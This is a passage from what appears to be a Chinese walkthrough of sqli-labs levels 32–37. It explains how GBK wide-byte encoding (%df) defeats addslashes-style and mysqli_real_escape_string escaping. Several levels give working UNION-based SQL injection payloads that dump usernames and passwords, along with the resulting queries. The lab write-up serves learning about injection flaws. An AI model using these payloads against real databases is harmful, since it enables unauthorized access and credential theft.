语法:
dechex(number);
用户自定义的strToHex
方法实际上是将转义后的字符串转换为16进制
我们再看作者另一个自定义方法
check_addslashes()
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
preg_quote()
定义和用法:
preg_replace
函数用于转义正则表达式字符。
preg_quote()
需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -
语法:
string preg_quote ( string $str [, string $delimiter = NULL ] )
参数 | 描述 |
---|---|
$str | 输入字符串。 |
$delimiter | 如果指定了可选参数 delimiter,它也会被转义。这通常用于 转义 PCRE 函数使用的分隔符。 / 是最通用的分隔符 |
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
这一行代码
正则匹配部分:\\
经过preg_quote()
函数处理为\\\\
,经PHP解释器转为\\
,经正则解释器转为\
替换部分:
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
$id=check_addslashes($_GET['id']);
以及'
和"
都会被此函数添加\
转义字符
此题的注入点在数据库编码格式上,产生了宽字节注入,成因可详见宽字节注入原理分析,我们数据库的编码格式为
后台查询前也设置了语句:
mysqli_query($con1, "SET NAMES gbk");
此语句用于设定字符集,重启后无效
通俗的讲是服务器采用了宽字节编码,像GB2312、GBK、GB18030、BIG5、Shift_JIS等
此编码格式两个字节
代表一个汉字
例1:我们前端传值为'
后端添加转义符号,\
的GBK16进制编码为%5c
,'
的GBK16进制编码为%27
,这是正常转义流程
例2:我们前端传值为%df'
%df%5c
是繁体字運
,我们用这种方法来与\
拼成新的字符,以此来绕过后端转义
所以我们可以构造payload
-1%df' union select 1,2,3 -- -
查询语句:
SELECT * FROM users WHERE id='-1運' union select 1,2,3 -- -' LIMIT 0,1
查用户名密码
paylaod:
-1%df' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -
查询语句:
SELECT * FROM users WHERE id='-1運' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -' LIMIT 0,1
less-33
标题: GET - Bypass AddSlashes()
这一关跟32关一样是宽字节注入,只不过呢,转义函数是addslashes()
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes()
定义和用法:
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
语法:
addslashes(string)
一样的效果
查用户名密码
paylaod:
-1%df' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -
查询语句:
SELECT * FROM users WHERE id='-1運' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -' LIMIT 0,1
less-34
标题:POST - Bypass AddSlashes()
跟33关一样的,不过提交类型是POST,burpsuite抓包
payload:
-1%df' union select 1,2-- -
less-35
标题:GET - Bypass AddSlashes (we dont need them) Integer based
正如题目所说是整数型
注入,看一下源码
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
addslashes()
只转义'
,"
,\
,NULL
,
所有对于整数型注入
,就没有什么意义的,这个题可以定义为无效转义联合查询
less-36
标题:GET - Bypass MySQL_real_escape_string
这一关采用的是mysqli_real_escape_string()
做转义
function check_quotes($con1, $string)
{
$string=mysqli_real_escape_string($con1, $string);
return $string;
}
mysqli_real_escape_string()
详见PHP mysqli_real_escape_string() 函数
定义和用法:
mysqli_real_escape_string()
函数转义在 SQL 语句中使用的字符串中的特殊字符。
语法:
mysqli_real_escape_string(connection,escapestring);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
escapestring | 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。 |
跟之前的转义函数差不多
payload:
-1%df' union select 1,(select GROUP_CONCAT(username,0x7e,password) from users),3 -- -
less-37
标题:POST - Bypass MySQL_real_escape_string
POST类型提交,原理跟之前一样
payload:
1%df' union select 1,group_concat(password,username) from users--+